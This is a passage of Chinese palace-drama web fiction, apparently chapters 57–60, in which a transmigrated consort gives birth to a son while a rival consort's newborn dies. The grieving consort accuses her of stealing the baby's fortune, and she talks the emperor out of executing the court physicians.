“翠微阁的夏美人先前发作了, 张稳婆带着李稳婆赶了去。”陈稳婆答了, 与另外的稳婆就要进屋去。 “哎哎哎,娘娘方才破水,且还有一阵子。你们先去清洗, 换上干净衣衫。”阿箬忙拦住了她们。 两个稳婆面面相觑,宫中规矩森严,怕冲撞到贵人,她们身上皆无异味,衣衫齐整。 不过,两人不敢多言,跟着阿箬去偏屋洗漱换衫。文涓走了进来,与她们一样更洗过,拿着剪子,让稳婆将长指甲修剪磨平。 陈稳婆打量着自己光秃秃的手指,陪笑道:“皇子那是何等矜贵的贵人,我们这些做惯稳婆的,会小心又小心,保管不敢伤到了小皇子。” “何苦来哉,剪掉指甲便无需担心了。”文涓笑着道。 陈稳婆转念一想,倒也是如此。婴儿的肌肤娇嫩,不如剪掉指甲来得放心。 两人进了产房,上前查看过,陈稳婆恭敬地道:“娘娘还得等一等,小皇子才会出来咧。” “麻烦你们了。”江舲半靠在软垫上,客气地道。 “不敢不敢。”两人忙道,见江舲态度温和,心下微松,退到一边坐着等候。 “皇上来了!”紫衫站在门外,将门帘掀开一条缝,低声回禀道。 两个稳婆一惊,万万没想到元明帝竟然亲临,连忙站起身,垂首肃立。 文涓亦惊讶不已,她走到门边,低声问道:“皇上来作甚?” 紫衫答道:“皇上在明间等着,问了奴婢娘娘的身子,何时能诞下小皇子。” “你去回皇上,还早着呢,让皇上别等了。”江舲皱眉,不耐烦地道。 元明帝的到来,除给人带来压力,一无是处。 紫衫悄然吐了吐舌头,连忙应是。文涓走回床边,赔笑道:“娘娘饿不饿,可有想吃的饭菜?” “我不饿”江舲答了句,这时宫缩的阵痛袭来,她痛得眉头紧皱,暗中将元明帝骂了一通解气。 随着时辰过去,江舲的宫缩越来越频繁,痛得冷汗淋漓,简直生不如死。 元明帝隔着片刻,就差人前来问一次。黄梁干脆守在了产房门口,一有消息,赶紧前去向元明帝回禀。 陈稳婆脸上堆满笑,恭维道:“娘娘得皇上真龙之气护体,已经开了八指,顺当得很呢。” 江舲已经痛得没力气骂人,虚弱地躺在那里,生产时各种危险,在脑海中不断闪现。 羊水栓塞,大出血,感染,…… 明间。 起初,元明帝坐在椅子中,悠闲地吃茶等候。 随着滴漏滴答,日头升上天空,再向西斜去。元明帝想起先皇后生产时的艰难,他的从容不再,脸色愈发沉重。 “翠微阁那边如何了?”元明帝这时想起翠微阁,问道。 张善赶忙指使小黄门前去询问,过了一阵,小黄门回来禀报道:“稳婆说了,段美人如今方开三指,还早着呢。” 元明帝听了,他唔了声,耐着性子坐回去,端起茶盏继续吃茶。 小黄门拉着张善到一边,凑到他耳边低声道:“稳婆还说,段美人肚子太大,估计生产得要艰难些。” 张善脸色微变,妇人腹中胎儿太大,生产时艰难,大小都受罪。一不小心,便会一尸两命。 当年先皇后便是如此,生了足足一整日。最后诞下的龙胎,没多久就断了气。先皇后血流如河,跟着薨了。 “你别多嘴!”张善严肃着脸,警告道。 小黄门忙道:“我晓得,不吉利的话,保管一个字都不说。” 张善哼了声,朝屋内偷瞄了眼,道:“你叫上人,过一阵就去翠微阁跑上一趟,别等着皇上过问了再去。” 小黄门忙应下,“我这就去。”他叫上同伴,一起去了翠微阁。 不久之后,两人从翠微阁回来,太医吴适山也来了。郑择与太医在繁英阁轮值,张善诧异了下,迎上前问道;“吴太医怎地来了?” 吴适山脸色不大好,道:“皇上可得空,我有紧急之事求见皇上。” 张善见状不敢耽搁,忙进屋回禀。元明帝愣了下,道:“宣。” 吴适山忙进屋,慌张道:“皇上,已足足过了四个时辰,稳婆称,段美人先前方开五指。臣甚是不安,恐耽误下去,段美人与小皇子皆有危险。臣请皇上恩准,郑太医正一并随臣到翠微阁施针。” 元明帝立即道:“江嫔如今正在生产的紧要关头,郑太医正离开不得。你既擅长妇人科,觉着不妥当之处,该对症下药,对症施针才是!” “是,臣遵旨。”吴适山不敢多言,忙恭敬告退离开。 虽未得元明帝允许郑择前往翠微阁,倘若出事的话,有元明帝的旨意在,便不算自作主张,医治不力。 吴适山离开之后,元明帝心里愈发不安。他放下茶盏,起身在屋中徘徊踱步。 冬日天黑得早,屋中渐渐昏暗。繁英阁开始掌灯,张善进屋来点亮了灯盏。 元明帝浑然不觉,他的步伐越来越快,心跳慌乱如擂鼓。 “黄梁!”元明帝停下脚步,大吼了声。 张善一听,赶忙撒腿朝产房跑去。隔着窗棂,听到屋内传来江舲的呻吟,情不自禁缩起脖子,抓住垫着脚尖朝窗棂内探的黄梁:“大伴,皇上叫你去呢。” “哎哟,皇上叫我也无用啊!”黄梁愁眉苦脸地答了句,脚下飞快朝明间跑去。 “怎地还未生?”元明帝气急败坏地问道。 黄梁垂着脑袋,小心翼翼回道:“皇上,稳婆称还要过一阵。” 元明帝急怒攻心,挥舞着手臂怒叱道:“一群废物!若是有半点闪失,朕要灭了他们的九族!” 黄梁吓得大气都不敢出,忙躬身退了出屋。张善见他苍白着脸走过来,机灵地绕着躲避,回到明间外守着。 元明帝如困兽般,在屋内来回打转,他着实忍不住,干脆来到产房外。 还未开口询问,元明帝听到屋内稳婆的说话声,江舲用力的大叫,婴儿洪亮的啼哭声。 霎时,元明帝像是被定住了般,僵在那里一动不动, 以前无论是先皇后,还是林贵妃他们生产,他从未前去过。此次,乃是他初次听到婴儿生下来时的啼哭。 陌生,奇异的情绪在心头荡漾,眼睛发涩,浑身控制不住地颤栗。 “恭喜皇上,贺喜皇上!江嫔娘娘生了个小皇子!”陈稳婆脸上堆满笑,与另外一个稳婆接连道喜。 江舲累得手指头都抬不起来,心头咆哮道:“以后他不当皇帝,对不起老娘的九死一生!” 元明帝听到稳婆的声音中,夹杂着江舲熟悉的心声,提在半空中的心落回肚中。他无语半晌,笑容情不自禁爬满了脸,哈哈大笑道:“赏,都有赏!” 黄梁去拿了银子来打赏,繁英阁喜气洋洋,恭喜道喜声不断。 胎盘没一会落了下来,阿箬带着紫衫收拾着床上脏污的床褥,伺候江舲换上干爽的衣衫。文涓亦步亦趋盯着稳婆,待包裹好襁褓,忙接过抱到江舲身前。 陈稳婆劝道:“娘娘还虚弱着呢,该让奶娘进来喂养才是。” 文涓委婉地道:“娘娘自有主张,麻烦两位了,你们出去吧,” 元明帝亲自寸步不离守着,陈稳婆见识了江舲的地位,她哪敢多管,忙赔着笑,与另一稳婆退了出去。 以前江舲看到古装剧中的奶娘乳母,好奇看过关于母乳喂养利弊的科普。 对她来说,亲自哺乳,或由奶娘喂养,自己回乳,皆会面临乳腺炎的风险。 但对婴儿来说,却是天差地别。在营养与免疫力,微生物组建立,疾病传播风险上,母乳都是最佳选择。 江舲打算先留着奶娘几天,若她母乳足够的话,再给笔银子,打发她们出宫。 这是江舲穿来之后,做出唯一显眼的决定,势必会引来众人的侧目。 毕竟大户人家都要请奶娘,何况是皇子公主。 但她不敢冒险,宫中夭折的皇子公主众多,十月怀胎,平安生产,婴儿四肢健全,能够长大成人,皆在闯难关。 以古时婴儿的夭折率,妇人生养的高风险性来看,宫斗中各种怀孕时的落胎手段,有些多此一举了。 江舲喂完奶,望着襁褓中皱巴巴,跟猴子一样的婴儿,啧啧道:“真是丑啊!” 文涓嗔怪地道:“娘娘真是,小皇子才将将生下来。过上几天,保管如娘娘一般俊俏。” 想到以前看到丑孩子先不要扔的图,江舲不由得笑了,道:“我亲自生的,当然会长得像我。” 阿箬提着食盒进屋,文涓帮着摆在矮案上,阿箬抿嘴笑道:“都是照着娘娘吩咐做的,皇上添了一碗红枣甜汤,参汤,说是给娘娘补气补血。” 江舲早就饿了,将襁褓小心翼翼放在了身边,由着他安睡。她没去碰元明帝的补血补气汤,吃了蛋羹与鱼丸,菘菜菠菱菜,五谷杂粮羹,再喝了一杯清水。 饭菜下肚,江舲恢复了些精力。她靠在软垫上,想起来段美人,问道:“翠微阁那边生了没有?” 阿箬收拾着碗筷,道:“皇上下旨,让郑太医正,陈稳婆她们都去了翠微阁。奴婢听说,段美人叫嚷得嗓子都哑了,好似有些艰险。” 江舲不禁一愣,问道:“皇上呢?” “皇上在明间用晚膳。”阿箬答道。 真是没用的饭桶! 江舲骂了句,望着身边睡得香甜的小婴儿,心里说不出的滋味。 兴许是初为人母,江舲体会到了生产的不易,为段美人感到阵阵揪心。 但她是宫妃。 她生了儿子。 在后宫中,仁慈与温情,皆那么不合时宜。 她们争夺的,是家族荣耀,是权势富贵,是天下江山,是生死。 第58章 翠微阁。 弯月摇晃着向西偏斜, 屋顶上覆盖着的薄霜,在月辉下泛出冰冷的银光。 白芹从产房出来,腿颤抖了下, 站立不稳往前扑去。 “白姐姐。”栀子捧着布巾过来,见状低呼一声, 拿肩膀抵住白芹,手上的布巾掉落一地。 白芹险险稳住身, 又赶忙蹲下捡起布巾, 一边往栀子手中塞,一边吩咐道:“你快送进去, 张稳婆她们等着呢。我去如厕后就回来。” 栀子赶忙抱着布巾进去产房,一股浓厚的血腥气扑面而来。她情不自禁屏住呼吸, 将布巾送了上前。 地上到处都是血污, 张稳婆双手被血浸透,抓起布巾随意抹了抹,往段美人身下伸去, 催促着道:“小皇子已经见到头了, 美人再加把劲!” 段美人早已哑了嗓子, 半死不活地躺在那里, 嘴里喊着参片, 含糊着叫痛。 陈稳婆白着脸, 苦口婆心劝说道:“为了小皇子,再用用力。” 段美人挣扎着用了下力, 转瞬间就泄了气。她张嘴喘息着, 只感到生不如死。 郑择吴适山两人不时商议一句,神色紧张地施针,汗水早已湿透朝服。 白芹如厕回来, 奔到段美人身边,哭着劝道:“美人再坚持一阵,不只为了小皇子,更为了美人啊!” “那边,那边”段美人打起精神,断断续续问道。 白芹听明白了,她咬了咬唇,道:“江嫔娘娘诞下了小皇子。” “啊!”段美人突然如困兽般嘶吼,拼了命般使出浑身的力气。 “出来了出来了,恭喜美人,是个小皇子。”张稳婆顿时高兴地大喊道。 屋中所有人都松了口气,段美人想笑,此时已脱力。只嘴唇翕动着,发不出任何的声音,虚弱地晕了过去。 香雪阁。 赵嫔靠在床头,闭目养着神。谢嬷嬷轻手轻脚走上前,低声道:“娘娘。那边生了。是个小皇子。憋得太久,生下来浑身都青了,只剩着一口气。” “一口气也是气,总归是小皇子呢,后宫真是喜事连连了。”赵嫔眼皮动了动,冷冷地道。 谢嬷嬷顿了顿,道:“娘娘,你看……” “活不长。”赵嫔面无表情地脸上,忽地绽开笑容。手缓缓从被褥里伸出来,放在眼前来回端详。 “何苦为了一个蠢货,脏了自己的手。”说话间,赵嫔滑入被褥中,面带笑意闭上了眼睛。 “娘娘说得是。”谢嬷嬷掖了掖赵嫔的被褥,正欲出去,赵嫔叫住她,说了两句话。 “是,奴婢记着了。”谢嬷嬷答道。 元明帝接连添子,朝臣齐贺,不禁龙颜大悦。 下了朝,元明帝回到御书房,黄梁垂头上前,低声回禀道:“皇上,四皇子” 元明帝顿住,猛然朝黄梁看去,厉色道:“四皇子如何了,说!” “四皇子殁了。”黄梁硬着头皮,战战兢兢道。 想到夭折的儿女,元明帝呼吸一窒,痛意愤怒交织着在心头翻滚。猛地一挥手,御案上的折子笔墨,被扫落一地。 “皇上息怒,龙体要紧啊!”黄梁吓得一抖,他抹着泪,苦苦劝道。 元明帝喘着粗气,嘶吼道:“一群庸医,没用的混账!给朕都拿下,朕要他们陪葬!” 黄梁骇然,觑着元明帝铁青的脸,一时不敢相劝,只能先躬身退出。 张善提着衣衫下摆,小跑着过来,他抹了头上的汗,苦着脸道:“大伴,大事不妙,翠微阁那边哭闹得厉害,吵嚷着要见皇上。” 黄梁一肚皮的官司,他叹了口气,烦躁地道:“皇上正在气头上,要拿了给四皇子诊治的太医陪葬。” 张善瞪大眼,惊道:“郑太医正与吴太医两人,都要倒大霉了?” “那可是四皇子。”黄梁回了句,连连叹气道:“你进屋去回话吧,我得去传旨了。” “郑太医正与吴太医前去了繁英阁请平安脉。”张善眼神微转,拉住黄梁的衣袖,小声地道, 两人得了郑择吴适山不少的好处,有个头疼脑热,皆是他们在诊治。 黄梁愣了下,招来小黄门,低低对他交代了几句:“赶紧些,要快!” 小黄门连连点头,转身匆匆离开。黄梁这才理了理衣衫,不紧不慢朝外走去。 繁英阁。 江舲望着摇篮中呼呼大睡的婴儿,脸上情不自禁露出了慈爱的笑容,轻声道:“小猴儿真是能吃能睡。” 文涓坐在一边守着,笑道:“三皇子的眼睛没那般肿了,脸也白皙了不少呢。” 江舲左右打量着,诚实地道:“我没看出来,还是一样红红黑黑。” 她掀开身上的锦被下榻,文涓见状忙山前搀扶,道:“娘娘可是要如厕,奴婢让阿箬去拿恭桶来。” 今早江舲就从产房搬回了卧房,白日在次间榻上歇着。闻言,她笑起来,道:“我没事,慢慢走动对身子反而好。” 文涓见江舲精力不错,于是没再多劝,让阿箬与紫衫一起守着摇车,搀扶着江舲前去净房。 江舲方便之后从净房出来,在屋中缓慢走动了一会,觉着有些累了,便回到榻上半躺着。 出去当差的紫衫进屋来,道:“娘娘,郑太医正与吴太医,前来给娘娘三皇子请平安脉。” 江舲诧异了下,“他们两人一起来给我请平安脉?” 紫衫说是,她犹豫了下,道:“娘娘,奴婢瞧着他们很是惊慌,外面冷得很,他们的朝服都皱巴巴,出了一身的汗。” 江舲愣了下,让文涓将摇车搬进卧房,道:“去请他们进来吧。” 紫衫退了出去,很快领着郑择吴适山进屋。江舲打量过去,两人果然灰头土脸,像是惊吓过度,嘴唇都泛青。 “两位不必多礼,快请起来吧。”江舲沉吟了下,问道:“我瞧着两位好似不大对劲,可是出了什么事?” 郑择稳了稳神,声音止不住地颤抖着,道:“臣不敢瞒娘娘,先前臣与吴太医方从翠微阁过来。昨夜黎明时分,段美人诞下四皇子。段美人生产困难,四皇子生下来之后,脸色青紫,只余下微弱的气息。臣与吴太医竭尽全力医治,可惜医术不精,四皇子殁了。” 江舲听得一怔,不过,她倒没太过意外。 段美人发作得早,羊水干涸之后,婴儿很容易缺氧,感染造成各种并发症。就算活下来,也有可能造成永久性的神经损伤。 不止是婴儿,段美人也有可能感染各种炎症。 端瞧着两人的情形,江舲估摸着他们大事不妙。毕竟皇权至上,常有因为诊治不好贵人,被砍头的情形发生。 江舲见郑择并未多言,便也不再追问,她叹了口气,道:“可怜的四皇子。” 郑择垂下头,道:“娘娘且请伸出手来,臣替娘娘诊脉。” 江舲将手放在引枕上,郑择搭上她的脉搏,微微闭眼诊了好一阵,再换吴适山诊脉。 望闻问切,诊脉之后,两人各自细问了一番。 江舲耐着性子,一一作答,“胃口甚好,三皇子也一样,劳烦两位了。” 这时,紫衫又走了进来,神色微微紧张道:“娘娘,黄大伴来了,说是奉皇上的旨意,郑太医正吴太医医治四皇子不力,下令将两人捉拿进大牢。” 郑择脸色惨白如纸,吴适山耷拉着头,嘴角浮起苦涩悲怆。 两人深深作揖下去,郑择颤声道:“娘娘,臣着实已经尽力。臣不怕死,家人无辜,就怕累及家人。请娘娘救臣家人一命,臣感激不尽。” 吴适山跪了下来,他神色惨痛,几近哽咽道:“娘娘,臣学艺不精,救不活四皇子,臣甘愿受罚,请娘娘救救臣的家人。” 以大胤的医疗水平下,只有神仙仙丹才能救活四皇子。 “两位言重了,快快清起来吧。”江舲做不到见死不救,只她不该参与进去。 纠结片刻,江舲如实地道:“我只能尽量试试,在皇上面前替两位说说情,不敢保证一定能成。” 两人长舒口气,忙着施礼谢恩。江舲对紫衫道:“紫衫,我身子不舒服,要劳烦郑太医正与吴太医。请黄大伴去向皇上回一声。” 紫衫退了出屋,江舲叫来阿箬,道:“你领着郑太医正吴太医去偏屋去开方子。” 两人按耐住惊惶,跟着阿箬去偏屋,文涓将摇车搬了出来,一脸害怕地道:“先皇后生产一尸两命,皇上盛怒,太医院血流成河,杀的杀,抄家流放的抄家流放。柳贤妃的小皇子夭折时,得政事堂的几位相爷一起求情,太医正全家方保住了一条命,只被皇上罢了官。娘娘,奴婢只怕娘娘求情,最后段美人怪罪到娘娘头上,连着皇上也一并厌恶了娘娘。” 照着常理,郑吴两人应当还留在翠微阁才是,却衣冠不整跑来繁英阁替她诊平安脉。两人诊得太过仔细,明显是在拖延功夫。 元明帝盛怒要杀他们,他们的消息未免得来太快。能赶在黄梁之前逃到繁英阁,除非消息是从御前走漏到他们的耳中。 这时,紫衫神色凝重折返回来,小声道:“娘娘,黄大伴告诉奴婢,说是段美人伤心过度,痛哭不止,求着要见皇上,请皇上替段美人做主。先前去翠微阁找郑太医正与吴太医时,翠微阁有传言,娘娘比段美人后有身孕,却与段美人同一日发作,生在前面。三皇子夺了四皇子的魂,本该是四皇子的命,运道,皆被三皇子夺了去。” 文涓大惊失色,江舲坐直身,缓缓沉下了脸。 来者不善啊! 第59章 翠微阁。 段美人生产时吃足苦头, 从产房搬回卧房之后,身子仍然虚弱,躺在床上动弹不得。 听到四皇子断气的消息, 段美人当场就晕了过去。 白芹栀子两人没日没夜伺候,早就累得筋疲力竭。见到段美人晕倒, 两人恍惚着了下,待回过神, 扑上去掐着段美人的人中, 尖声哭喊道:“美人,美人!去请太医来, 去请太医!” 门外听差的宫女忙去了,段美人只是一口气没提上来, 片刻后就幽幽醒转。想到辛辛苦苦生下来的儿子, 顿时伤心恸哭:“我的儿啊!我的四皇子啊!” 白芹哭着劝道:“美人才生产,月子里不得哭,仔细伤了眼睛。” 段美人哪听得进去, 哭得伤心欲绝, 挣扎着就要起身, “不行, 我得去看一看, 我儿是皇子, 有皇上老天保佑,怎地就没了!” “美人你身子还虚弱, 千万别动啊!”白芹栀子忙齐齐劝说道。 段美人撑着坐起身, 眼前一阵发黑。倒了回去。她躺在那里,哭着捶打着床:“我儿啊,我的儿啊!” “美人, 四皇子已经去了,美人莫要伤了身子啊!”白芹栀子陪着流泪,不住地宽慰劝说。 “都是她!都是她!果真是她!”段美人突然想到躺在产房时,迷迷糊糊中听到的一些话,双眼圆瞪,尖声叫嚷起来。 “我儿好生生的,被她着生在了前面,被她抢了运道,这下连命都抢了去!” 白芹栀子怔住,互相对视一眼,惊惶地劝道:“美人小声些,都是些婆子乱嚼舌根,美人可别乱信,要是被” 两人伺候段美人生产,当时亦听到有人在产门外说的这些话。等白芹出门去看谁在嚼舌根时,人已经离开。 那时翠微阁到处都是人,白芹又忙又累,实在无暇顾及,转身回屋去伺候段美人了。 无论真假,江舲生的亦是皇子,且份位比段美人高。 祸从口出,说不定,会惹来杀身之祸。 “啪!”段美人抬起手,一巴掌打在离得近的白芹脸上。 “贱人,我堂堂的伯府嫡女,莫非要怕她不成!她处处与我争,我呸,她哪一样比得过我,凭她也配!我儿被她害死,我要找她索命报仇!” 段美人形容疯狂,挥舞着手臂叫嚷道:“去请皇上,我要见皇上,那个贱人害了我,我不会让她好过!” 白芹坐在脚踏上捂着脸,好半晌才缓过气,心中虽有怨气,却不敢多言,爬起来让宫女去垂拱殿。 前去请太医的宫女从门外进来,栀子忙上前,只听她道:“郑太医正与吴太医去给江嫔请平安脉了,栀子姐姐,可要让人去太医院请其他的太医?” 栀子想着段美人毕竟醒了过来,她正在犹豫中,段美人已经怒火冲天,愤怒大骂道:“贱人,她就是故意使坏” 宫女吓得缩着脖子,栀子忙推了她出去,“别声张,快去守着。” 白芹有气无力站在那里,有一搭没一搭地劝着。栀子咬了咬唇,她也累得厉害,见到白芹挨打,更不敢多劝。 过了没多时,黄梁来到了翠微阁捉拿郑择吴适山,隔着墙,段美人的尖声叫骂隐约传出来,黄梁驻足听了几句,一言不发前去繁英阁。 产房血污重,被视为不洁之地。妇人生产后,男人要在满月之后,才会进妇人的屋。 元明帝念着夭折的四皇子,到底来到了翠微阁。他站在次间,听到里间卧房段美人沙哑的哭声,心情一时也不好过。 “皇上,皇上要给臣妾做主,替四皇子报仇啊!”段美人捂着胸口。悲切地哭道:“四皇子是被江嫔使法害死的啊!” 元明帝一震,眉头不由得蹙起。 “江嫔从臣妾进宫时,就嫉恨上了臣妾。臣妾有身孕在先,江嫔接着有孕,从那时起,江嫔就盯着臣妾了啊!” 段美人想着失去的儿子,江舲与她的儿子却平安无碍,痛楚被嫉恨淹没,只恨得咬牙切齿,理智全失。 “明明臣妾比江嫔先有身孕,见臣妾快生产了,赶着与臣妾一道发作,抢在臣妾面前生了。可怜的四皇子,就这么被抢走了运道,连命都被她夺了去。” “闭嘴!”元明帝沉下脸,一声怒喝:“朕念着你方才生产,四皇子没了,你伤心得糊涂了,朕姑且不与你计较。子不语怪力乱神,你再打胡乱说,朕不得饶你!” “皇上,臣妾冤枉,皇上要替臣妾做主啊!” 段美人未曾想到,元明帝竟然如此偏袒江舲,连自己的亲生儿子都不顾。她心痛如绞,不甘愤恨,让她哭得快透不过气。 “皇上,臣妾知道你宠爱江嫔,臣妾不敢与江嫔争,不敢说她丁点的不是。只是皇上,四皇子是皇上的亲生骨肉,可怜的四皇子,皇上不为他主持公道,他如何能放心离开!” 段美人声声泣血,元明帝却听得怒火中烧,厉声道:“朕看你是失心疯了,再要胡说八道,朕定不饶你!” “皇上,臣妾若有半点谎言,让臣妾不得好死!” 段美人指天发誓起来,激动不已喊道:“郑太医正与吴太医,就是江嫔的帮凶!他们医治四皇子,谁知他们却下毒手害人!生怕事情败露,慌忙逃到了繁英阁去躲着。江嫔若非心中有鬼,为何不敢让奶娘喂养孩子!休说皇宫,就是京城有头有脸的人家,断没有主母亲自喂养儿女的道理!在生产前,臣妾就听说繁英阁弄出一大堆阵仗,又是蒸煮布巾,又是一遍遍洒扫。稳婆更是被她弄出一大堆名堂,连着指甲都剪了!她就是装神弄鬼,不安好心!” 繁英阁江舲弄出的阵仗,元明帝自是知晓。她当时说过,是为了洁净。 “唉,这个破地方,只有这些保障了。” “你懂个屁,你眼睛能看到什么,到处都是脏东西!在水里胡乱抹几下,净手都净不干净!” 元明帝回想起江舲的那些话,头开始疼起来,以为段美人不可理喻,顿时没了耐心。 “来人,江翠微阁看起来!若段美人再胡闹,送去皇庙清修,修身养性!” 段美人瞪大哭得通红肿胀的双眸,眼前一片模糊。她如石头一样呆在那里,愤怒不知去了何处,惟余伤痛,丝丝缠绕着她,四肢百骸都冰冷刺骨。 元明帝面色阴沉离开翠微阁,被寒风一吹,勉强清醒了几分,脚步微顿,问道:“黄梁呢,郑择吴适山在何处?” 随侍的张善躬身答道:“回皇上,黄大伴奉皇上旨意前去捉拿两人,奴婢这就派人去问一声。” 元明帝变得不耐烦起来,转身朝繁英阁方向走去。这时,黄梁恰好从夹道一头走来,远远就立着躬身见礼。 “你的差使可妥当了?”元明帝沉声问道。 “回皇上,奴婢正在办。”黄梁躬身将去找郑择吴适山两人之事,一一回禀。 元明帝听到两人果然前去找江舲,心微微一沉,大步朝繁英阁走去。 “娘娘,皇上来了。”紫衫守在门口,听到外面的动静,赶忙进屋回话。 江舲眉头一皱,文涓着急不已,忙让紫衫退出去,小声道:“娘娘,那些传闻虽是无稽之谈,却无人说得清楚。世人宁愿信其有,不信其无啊!” “既然已经传了出来,我能如何呢?”江舲淡淡说道。 “那郑吴两人……”文涓迟疑着,被江舲抬手打断,斩钉截铁道:“他们本无辜,莫要再说!” 江舲打定了主意,既然已经答应帮他们,她就不会食言。 文涓没再多言,这时元明帝已经进了屋。他站在明间,看到门帘半卷,江舲斜靠在次间的榻上,不由得一怔。 “你怎地下床了?”元明帝问道。 “臣妾能慢慢走动一会,便下了床。”江舲一边回答,一边掀开被褥,作势欲下榻请安。 “且躺着吧,无需多礼了。”元明帝抬手制止,让人搬了椅子在门外,他坐了下来:“你们都退下!” 文涓偷偷看了江舲一眼,将三皇子从摇车抱起来,放在江舲的怀里,低头退了出去。 “奶娘伺候的人呢,你方才生产,怎地都自己看着?”元明帝不悦道。 “臣妾没事。”江舲答了句,觉着两人隔着门帘一问一答,格外滑稽可笑。 “这群脑残的男人,居然说产房污秽不祥,会有血光之灾。笑死人,连自己的来路都忘了。最不祥的,应该是他们,因为他们从这里出来了!” 不过,江舲转念一想:“不进来也好,他们确实太脏,进来只能添乱。” 江舲心里的话,让元明帝无法反驳,一时坐也不是,站也不只是。他在椅子中转了转,不自在地咳了声,道:“听说郑择吴适山前来给你诊平安脉,他们两人医术不精,害死四皇子,你休得听他们的诊断!如今他们在何处,朕要拿下他们,砍了他们的脑袋,给四皇子偿命。 江舲轻轻地将三皇子放在身边,正色道:“皇上,臣妾有一事不解,不知大胤天下,谁能救回四皇子的命?” “你这是何意,莫非你要为了这两个庸医顶撞朕?”元明帝不悦地道。 “臣妾不敢顶撞皇上,臣妾只是不明白,若是皇上因为四皇子殁了,要拿两位陪葬,臣妾以为,活殉有伤天和。臣妾想求皇上饶他们一命,算是替我儿积德。若是因为他们医术不精,臣妾想知道,以四皇子当时的情形,天底下有哪个名医能救活他。毕竟这样厉害的大夫” 说到这里,她停顿了下来,自嘲地笑起来:“算了,真有这样厉害的大夫,还是隐姓埋名的好。人都只有一个脑袋,砍不了几次。” 元明帝一时答不出来,懊恼地道:“伶牙俐齿,你别以为朕待你好,处处纵容,你就能仗着朕的宠爱为所欲为!” 这时,三皇子被元明帝的声音吵醒,张嘴哼唧起来。江舲赶忙抱在怀里,轻言细语柔声哄着。 元明帝只能眼睁睁看着,虽然气恼,到底没再做声。 三皇子哼唧个不停,江舲见他似乎是饿了,背转身,解开衣襟喂起了奶。 元明帝彻底被晾在了那里,一瞬不瞬盯着次间的母子俩。 江舲与平时并无不同,生产到底耗费精力,脸色憔悴苍白。她垂首望着襁褓中的三皇子,神情温柔。 从未见到如眼前这般的景象,元明帝有些失神,情不自禁站起身,走了进屋。 江舲倏地抬起眼,抬手挡在身前,道:“皇上快出去,这不合规矩。” 元明帝瞪着她,断然道:“朕偏要留下,朕就是规矩!” 江舲呵呵,眉毛挑了挑。 两人的命,她保定了! 第60章 喂完奶, 江舲唤来文涓阿箬,给三皇子更换尿布清洗干净之后,把他放在摇车上。很快, 他小嘴蠕动几下,沉入香甜的梦乡。 文涓阿箬退出屋, 元明帝不错眼看着摇车中的三皇子,下意识放轻了声音, 笑道:“豆丁大小的人儿, 真是随了你,能吃能睡。” “能吃能睡才好呢。”江舲淡淡地回了句, 道:“皇上请坐,臣妾去趟净房。” 元明帝瞥了眼江舲, 见她准备下榻, 忙按住她:“让宫女进来伺候,你别动。” 净房就几步路,江舲身体恢复得不错, 道:“臣妾没事。” 元明帝见江舲已经下榻, 改为搀扶着她的手臂, 不放心道:“你且小心些。” 江舲趿拉上鞋子, 前去净房之后出来, 元明帝正在伸手戳三皇子的脸蛋。她见状忙提醒道:“皇上的指甲长, 仔细戳伤了。” 元明帝悻悻收回手,垂眸打量自己的双手, 道:“听说你让稳婆也剪了指甲?” “指甲里面藏污纳垢, 臣妾让她们都剪掉了。”江舲答道,估计元明帝要说关于那些三皇子四皇子的传闻。 元明帝慢吞吞道:“照着规矩,皇子公主都有奶娘喂养, 偏生你与众不同。” “婴儿的母乳好比是我们大人用膳,穷人家吃些粗糠菜,富人家吃肉。臣妾比起奶娘算是富人,又并非身子弱无奶,当然要自己喂养。” 江舲言简意赅解释了,平静地道:“都说妇人生产九死一生,有些人怀孕之后会呕吐,吐得厉害,甚至会直接吐死。怀孕时各种意外,滑胎,胎死腹中等等。到生产时,生产艰难,失血过多,妇人恶露不净起高热,诸如种种。胎儿被憋得太久,胎位不正,被硬生生扯出来,加上各种在母亲腹中的病症,无论是大小,都在闯生死关。” 元明帝怔怔听着,江舲朝他看去,嘲讽地道:“皇上,若是顺利生产,长大之人,都是夺了他人的运道。臣妾在想,天底下要是真有夺运道的本事,那些穷人家出生长大的孩子,怎地不干脆投生在贵人之家,投生在皇家。” 贵为皇家,婴儿夭折亦不少。元明帝共有十三个兄弟姐妹,长大成人者只有七人。 依照段美人的说法,元明帝能长大成人,是夺了其他兄弟姐妹的运道。甚至,帝位也得来不正。 元明帝脸色渐渐难看起来,眸中阴霾聚集,紧抿着唇一时不曾做声。 江舲觑着元明帝的反应,道:“三皇子生下来,就莫名其妙背负着夺了他人运道的名声。臣妾若不能替他找回公道,任他被人欺负,污蔑,臣妾这个母亲,不做也罢!” 元明帝狠厉地道:“朕的儿子,难道还能平白无故被人欺负了去!” 江舲垂下眼眸,道:“皇上杀太医,不过是一句话之事,只会寒了天下大夫的心。端是妇人生产,婴儿能活下来,大胤的大夫都要去填命了。如此一来,天底下只怕会无医。” 先皇后薨逝之后,元明帝怒杀太医,引得太医院人人自危。好些人生怕脑袋不保,换着花样称病致仕告老,太医院几近无人。 郑择当时称其母亲年岁已高,欲致仕归家孝顺母亲,元明帝将其强行留了下来。 经过这些年,太医院的人手方勉强才填满。太医正只是五品官员,在京城中五品官员比比皆是。要是再杀了郑择吴适山,怕是以后再无人敢做太医。 元明帝被江舲说得哑口无言,心里对段美人厌恶至极,将黄梁唤了进来,道:“郑择吴适山差使当得好,深得朕心,当赏。传朕的旨意,封郑择为奉政大夫,玉如意一柄,金锭十锭。提吴适山为院判,玉如意一柄,金锭八锭。” 奉政大夫是太医院太医的最高闲散勋爵,院判为六品,吴适山从八品的太医,一下跃升了两级。 黄梁虽猜到有江舲在,郑择吴适山应当无大碍。没曾想到,两人还加官进爵,得了赏赐。 元明帝瞥了江舲一眼,道:“江嫔生养三皇子有功,封为淑妃。着礼部准备诏书,待三皇子满月之后,一并庆贺。” 升到妃位,再升便是皇后了。如今江舲生了儿子,早已无法低调行事,份位越高,对她们母子来说都是好事。 江舲还未回过神,黄梁已经俯低身,笑容满面地道喜,“恭喜淑妃,贺喜淑妃娘娘。” “你身子不便,坐着吧。”元明帝见江舲一脸怔松,准备下榻谢恩,笑着将她拦住了。 “如今,你这繁英阁就小了些。”元明帝四下打量,皱眉说道。 江舲赶忙道:“皇上,繁英阁地方宽敞,臣妾住着足够了。三皇子还小,搬来搬去只怕他不习惯,容易哭闹。” 想着经常被她骂小气,元明帝怀疑地问道:“真当足够了?” “够了够了。”江舲一跌声保证,心道:“除非让我住到皇苑去,其他地方我才不想搬。” 